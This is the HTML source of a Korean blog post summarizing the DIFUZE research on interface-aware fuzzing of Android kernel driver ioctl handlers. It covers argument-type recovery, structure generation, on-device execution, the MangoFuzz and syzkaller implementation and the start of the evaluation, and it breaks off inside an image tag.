&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;소스 피연산자가 사용자 인수가 아니니 때문에 경로 6은 무시한다(즉, [목록 3]의 코드 49행에서 copy_from_user_wrapper의 두 번째 인수는 argp가 아님). 마지막으로 나머지 경로의 경우, 대상 copy_from_user 호출 사이트의 대상 피연산자 유형을 식별하여 명령 값 유형을 결정한다. 예를 들어, [표 1]의 &lt;span style=&quot;color: #333333;&quot;&gt;Path&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;1에 대해 argp의 유형은 3의 16행에 있는 대상 피연산자 curr_idx와 동일하며 6행에 uint32_t로 정의된다. 각 명령 값에 대해 여러 유형을 얻을 수 있다. 예를 들어, [표 1]과 같이 &lt;span style=&quot;color: #333333;&quot;&gt;Path&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;1과 Path 2는 cmd 제약 조건 값은 같지만 인수 유형은 다르다. 각 명령 값에 대해 가능한 모든 인수 유형을 연결한다. 예를 들어, [표 1]에서 명령 값 0x1003은 인수 유형 uint32_t 및 uint8_t와 연관될 수 있다. 다음으로, 인수의 구조체 정의를 추출할 필요가 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100.398%; height: 70px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;Id&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;Path&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;cmd constraints&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;Resolved command id&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;User&amp;nbsp;argument&amp;nbsp;type&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 60px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;Line&amp;nbsp;10&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;11&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;16&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;3&amp;nbsp;(of&amp;nbsp;Listing&amp;nbsp;2)&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;cmd&amp;nbsp;==&amp;nbsp;0x1003&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;0x1003&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;uint32_t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 60px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;Line&amp;nbsp;10&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;11&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;21&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;3&amp;nbsp;(of&amp;nbsp;Listing&amp;nbsp;2)&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;cmd&amp;nbsp;==&amp;nbsp;0x1003&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;0x1003&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;uint8_t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 40px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;Line&amp;nbsp;12&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;16&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;3&amp;nbsp;(of&amp;nbsp;Listing&amp;nbsp;2)&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;cmd&amp;nbsp;==&amp;nbsp;0x1002&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;0x1002&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;uint32_t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 40px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;Line&amp;nbsp;12&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;21&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;3&amp;nbsp;(of&amp;nbsp;Listing&amp;nbsp;2)&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;cmd&amp;nbsp;==&amp;nbsp;0x1002&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;0x1002&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;uint8_t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 60px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;Line&amp;nbsp;30&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;32&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;41&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;3&amp;nbsp;(of&amp;nbsp;Listing&amp;nbsp;2)&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;cmd&amp;nbsp;==&amp;nbsp;0x1001&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;0x1001&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;DriverStructOne&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 60px;&quot;&gt;
&lt;td style=&quot;width: 4.6483%; text-align: center; height: 10px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;width: 41.1251%; text-align: center; height: 10px;&quot;&gt;Line&amp;nbsp;30&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;32&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;49&amp;nbsp;&amp;rarr;&amp;nbsp;Line&amp;nbsp;3&amp;nbsp;(of&amp;nbsp;Listing&amp;nbsp;2)&lt;/td&gt;
&lt;td style=&quot;width: 14.186%; text-align: center; height: 10px;&quot;&gt;cmd&amp;nbsp;==&amp;nbsp;0x1001&lt;/td&gt;
&lt;td style=&quot;width: 13.1912%; text-align: center; height: 10px;&quot;&gt;0x1001&lt;/td&gt;
&lt;td style=&quot;width: 18.2407%; text-align: center; height: 10px;&quot;&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[표 1] ioctl 핸들러 [목록 3]에서 copy_from_user 호출 사이트까지의 관련 경로&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.6 구조체 정의 찾기&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;유형의 정의를 찾으려면 해당 유형으로 구성된 모든 유형의 정의를 찾아야 한다. [목록 1]에서 DriverStructOne 유형의 정의를 추출하려면 DriverStructTwo와 DriverSubstructTwo의 정의를 모두 추출해야 한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;4.5절에서 식별된 각 유형에 대해 4.1절에서 계산된 디버그 정보를 사용하여 해당 copy_from_user 함수의 소스 파일 이름을 찾는다. 소스 파일을 알면 GCC-LLVM 파이프라인을 사용하여 해당 전처리 파일을 생성한다. 전처리된 파일에는 필요한 모든 유형의 정의가 포함되어야 하므로, 식별된 유형의 정의를 찾는다. 그런 다음 c2xml 도구를 실행하여 C 구조체 정의를 XML 형식으로 구문 분석하여 유형에 대한 필요한 정의를 추출한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 구조체 생성&lt;/h2&gt;
&lt;p&gt;DIFUZE는 ioctl 인터페이스를 복구한 후 on-device 실행 엔진에 전달할 구조체 인스턴스를 생성하기 시작할 수 있다. 이에 대한 절차는 다음과 같다. DIFUZE는 구조를 인스턴스화하고, 해당 필드를 랜덤 데이터로 채우고, 포인터를 적절하게 설정하여 ioctl에 복잡한 입력을 만든다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Type-Specific Value Creation&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;특정 값은 다른 값보다 코드 적용 범위를 증가시킬 가능성이 더 높다. 예를 들어, 시스템 코드의 버퍼 길이는 비트 경계(즉, 크기가 128, 256 등의 버퍼)에 정렬되는 경우가 많으므로 비트 경계 바로 아래 또는 비트 경계에 있는 값은 코너 케이스를 트리거할 가능성이 더 높다(예: 부주의한 문자열 종단에 의한 단일 바이트 덮어쓰기). 이러한 점은 퍼징 커뮤니티에서 일반적인 정보이며, 이전 연구에서 널리 사용되어 있다. DIFUZE는 이 개념도 활용하며, 생성된 정수에서 2의 거듭제곱, 2의 거듭제곱보다 작거나 2의 거듭제곱보다 큰 정수를 선호한다(그러나 제한하지는 않는다).&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;구조화되지 않는 데이터(예: char * 포인터)나 구조체 정의를 복구할 수 없는 데이터(void *data)를 가리키는 일부 포인터가 있다. 이 데이터에 대해 DIFUZE는 랜덤 컨텐츠 페이지를 할당한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Sub-structure&amp;nbsp;Generation&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;ioctl에 대한 입력은 종종 중첩된 구조의 형태를 취하는데, 여기서 최상위 구조에는 다른 구조체에 대한 포인터가 포함된다. DIFUZE는 이러한 구조체 인스턴스를 개별적으로 생성하여 on-device 실행 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;로 보낸다. 다음 단계에서 이러한 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;는 ioctl 자체로 전달하기 전에 중첩된 구조체로 병합한다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. ON-DEVICE 실행&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;DIFUZE의 이전 단계가 분석 호스트에서 실행되는 동안 ioctl의 실제 실행은 대상 호스트에서 이루어져야 한다. 이와 같이, 구조체 생성 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;는 대상 장치 드라이버 파일 이름 및 ioctl 명령 식별자와 함께 생성된 구조를 장치 내 실행 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;로 전달한다. 그런 다음 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;는 이러한 구조를 마무리하고 ioctl을 트리거한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 포인터 고정&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;일부 구조는 포인터로 연결된 여러 개의 메모리 영역을 포함한다. 공간을 절약하기 위해 구조 생성 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;는 서로 다른 메모리 영역 인스턴스를 개별적으로 전송하는 방법에 대한 메타 데이터와 함께 전송하며, on-device 실행 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;는 데이터를 사용하여 전체 구조를 구축한다. 이렇게 하면 서로 다른 빌드 구조에 동일한 데이터를 사용할 수 있기 때문에 분석 호스트와 대상 호스트 간의 대역폭을 보존할 수 있다. 예를 들어, 트리 구조의 개별 노드는 개별적으로 전송되기 때문에, 이러한 노드를 사용하여 트리 구조의 다양한 최종 구성을 만들 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;일부 구조체는 재귀적이다. 예를 들어, 링크된 리스트 노드는 다음 링크된 리스트 노드에 대한 포인터를 포함할 수 있다. DIFUZE는 on-device 실행 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;가 작성하려고 시도하는 구조 조합의 수에 대한 제한을 설정하기 위해 이러한 주고의 재귀를 설정된 임계 값으로 제한한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 실행&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;구조체가 생성되면 DIFUZE의 on-device 실행 컴포넌트는 적절한 장치 파일을 열고 ioctl 명령 식별자와 적절한 데이터 구조로 ioctl 시스템 호출을 트리거한다. 이때 DIFUZE는 대상 장치를 크래시시키는 커널의 모든 버그를 감시한다. 분석 호스트와 대상 호스트 간에 heartbeat 신호를 유지하면 된다. DIFUZE는 버그를 발견하면, 나중에 재생산 및 트리지를 위해 호스트 장치로 전송된 일련의 입력들을 기록한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;시스템 재시작되는 버그가 트리거되면 대상 호스트가 일관되지 않은 상태이거나 크래시난&amp;nbsp;것이다. 전자의 경우, on-device 실행 컴포넌트는 다른 ioctl 명령과 다른 드라이버에서 퍼징을 다시 시작하기 전에 장치의 재부팅을 트리거한다. 후자의 경우, &lt;span style=&quot;color: #333333;&quot;&gt;크래시&lt;/span&gt;가 발생한 방식에 따라 &lt;span style=&quot;color: #333333;&quot;&gt;장치&lt;/span&gt;가 자체적으로 다시 시작되는 경우가 있다. 그렇게 되면 DIFUZE는 분석가가 상호 작용 없이 다시 시작할 수 있다. 그렇지 않으면 분석가가 퍼징을 다시 시작되기 전에 &lt;span style=&quot;color: #333333;&quot;&gt;장치&lt;/span&gt;를 재부팅해야 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 구현&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[그림 1]과 같이 시스템을 완전히 자동화하도록 설계했다. 사용자는 컴파일 가능한 커널 소스 아카이브를 제공하고, 대상 호스트(즉, 스마트폰)를 분석 호스트에 연결하고, 대상 호스트에서 장치 실행 컨포넌트를 시작한다. 그런 다음 한 번의 명령으로 전체 파이프라인이 실행된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Interface&amp;nbsp;Extraction&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;LLVM 3.8을 사용하여 인터페이스 추출 기법을 구현했다. 인터페이스 추출의 모든 컴포넌트는 개별 LLVM 패스로 구현된다. 4.4절에서 언급했듯이, 유효한 명령 식별자를 복구하기 위해 범위 분석의 기존 구현을 사용했다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7.1 인터페이스 인식 퍼징&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;5절과 6절의 구현은 MangoFuzz라고 한다. &lt;span style=&quot;color: #333333;&quot;&gt;MangoFuzz는 분석 호스트에서 구조체 생성과 ioctl의 장치에서 실행을 결합하여 인터페이스 인식 퍼징을 달성한다. 결과에 영향을 줄 수 있는 다른 최적화 없이 인터페이스 인식 퍼징의 효과를 테스트하도록 설계된 의도적으로 단순한 프로토타입이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;MangoFuzz는 실제 안드로이드 장치의 ioctl 시스템 호출을 목표로 한다. 5절에 설명된 방법을 사용하여 관련 구조와 함께 무작위 시퀀스를 생성하고 이를 대상 호스트에서 실행되는 장치 실행 컨포넌트로 전송한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&quot;production-ready&amp;rdquo;&quot; 접근 방식의 변형을 위해 DIFUZE를 최신 리눅스 시스템 call 퍼저인 syzkaller에 통합했다. 이 통합은 가능한 최고의 도구를 만드는 것을 목표로 하고 있는데, syzkaller의 오픈 소스 강화로서 커뮤니티에 기여할 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Syzkaller는 리눅스 시스템 호출 퍼저로, 분석가들이 시스템 호출 설명을(수동으로) 제공한 후 관련 시스템 호출을 퍼지한다. Syzkaller는 해당 형식을 수동으로 지정할 경우 시스템 호출 인수로 구조체를 처리할 수 있다. DIFUZE와 통합하기 위해 인터페이스 복구 단계의 결과를 syzkaller가 예상 한 형식으로 자동 변환하여 인터페이스를 인식합니다. Syzkaller는 일반적으로 커버리지 정보와 KASAN(또는 다른 메모리 액세스 검사기)으로 컴파일된 커널에 사용된다. 그러나 실제 수정되지 않은 안드로이드 기기에서 실행하기 위한 구성이 있는데, 이것은 목적에 따라 사용될 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;8. 평가&lt;/span&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;DIFUZE의 효과를 확인하기 위해 인터페이스 복구 및 버그 찾기 기능을 모두 평가한다. 평가는 가장 인기 있는 5개 업체의 7개 안드로이드 기기에서 실시되며, 광범위한 장치 드라이버를 포함한다. [표 2]는 칩셋 공급 업체와 함께 특정 스마트폰을 보여준다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;첫째, 인터페이스 복구가 시스템의 핵심 요소인 만큼, 인터페이스 복구의 효과와 효율성을 평가한다. 결과를 검증하기 위해 ioctl와 구조체의 랜덤 샘플링을 수동으로 분석하여 시스템의 복구된 인터페이스와 비교하여 확인한다. 그런 다음 &lt;span style=&quot;color: #333333;&quot;&gt;MangoFuzz와 syzkaller의 개선 사항을 모두 사용하여 DIFUZE의 버그 찾기 기능에 대한 비교 평가를 수행한다.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;8.1 인터페이스 추출 평가&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;인터페이스 추출의 모든 단계는 Ubuntu 16.04.2 LTS, Intel Xeon CPU E5-2690 (3.00 GHz)이 장착된 시스템에서 시연했다. 커널의 전체 인터페이스 추출 단계를 완료하는데 평균 55.74분이 걸렸다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[표 2]에 나열된 장치의 커널에 대한 인터페이스 추출의 여러 단계의 효과를 평가한다. [표 3]은 다른 커널에서의 인터페이스 추출 결과를 보여준다. DIFUZE는 7개 장치의 커널에서 총 789개의 ioctl 핸들러를 식별했다. 핸들러의 수도 해당 스마트폰의 드라이버 수와 밀접하게 일치한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 160px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Device&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Vendor&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Chopset Vendor&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Android Kernel Version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Pixel&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Google&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Qualcomm&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;3.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;E9 Plus&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;HTC&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Mediatek&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;3.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;M9&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;HTC&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Qualcomm&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3.10&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;P9 Lite&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Huawei&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Huawei&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3.10&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Honor 8&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Huawei&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Huawei&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;4.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Galaxy S6&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Samsung&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Samsung&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3.10&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Xperia XA&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Sony&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;Mediatek&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 20px;&quot;&gt;3.18&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[표 2] 평가에 사용된 안드로이드 스마트폰(커널 버전은 실험 당시 각 스마트폰의 최신 안드로이드 커널 사용)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;KakaoTalk_20200513_232938942.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;759&quot; width=&quot;534&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZGDru/btqD6RFdBFh/dqAD5fznxo4KzPIioJ1mpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZGDru/btqD6RFdBFh/dqAD5fznxo4KzPIioJ1mpK/img.png&quot; data-alt=&quot;[그림 2] 유효한 명령 식별자 수에 대한 ioctl 핸들러 백분율의 CDF&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZGDru/btqD6RFdBFh/dqAD5fznxo4KzPIioJ1mpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZGDru%2FbtqD6RFdBFh%2FdqAD5fznxo4KzPIioJ1mpK%2Fimg.png&quot; data-filename=&quot;KakaoTalk_20200513_232938942.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;759&quot; 